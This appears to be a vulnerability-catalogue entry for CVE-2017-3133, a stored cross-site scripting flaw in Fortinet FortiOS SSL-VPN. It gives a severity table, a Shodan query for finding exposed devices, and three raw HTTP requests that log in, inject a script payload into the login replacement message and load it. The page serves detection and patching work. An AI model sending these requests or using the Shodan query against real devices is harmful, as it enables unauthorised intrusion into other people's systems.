| Title | Fortinet FortiOS < 5.6.0 - Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Successful exploitation could lead to execution of malicious javascript. |
| Remediation | Apply the latest security patches or upgrade to new version to mitigate the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.0869 |
| CVE ID | CVE-2017-3133 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:"/remote/login" "xxxxxxxx"http.favicon.hash:945408572cpe:"cpe:2.3:o:fortinet:fortios" |
| Tags | cve cve2017 fortinet fortios xss authenticated vuln |
A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5.6.0 and earlier allows attackers to execute unauthorized code or commands via the Replacement Message HTML for SSL-VPN.
POST /logincheck HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Content-Length: 39
Content-Type: text/plain;charset=UTF-8
Accept-Encoding: gzip
ajax=1&username=0MOq9z&secretkey=spEl4s
POST /p/system/replacemsg/edit/sslvpn/sslvpn-login/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Content-Length: 109
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
DNT: 1
X-CSRFTOKEN: Sn6lC5
Accept-Encoding: gzip
csrfmiddlewaretoken=Sn6lC5&buffer=ABC%3C%2Ftextarea%3E%0A%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E%0A
GET /p/system/replacemsg-group/edit/None/sslvpn/sslvpn-login/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; WebView/3.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18363
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRFTOKEN: Sn6lC5
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-3133.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-3133.pcap
N/AN/A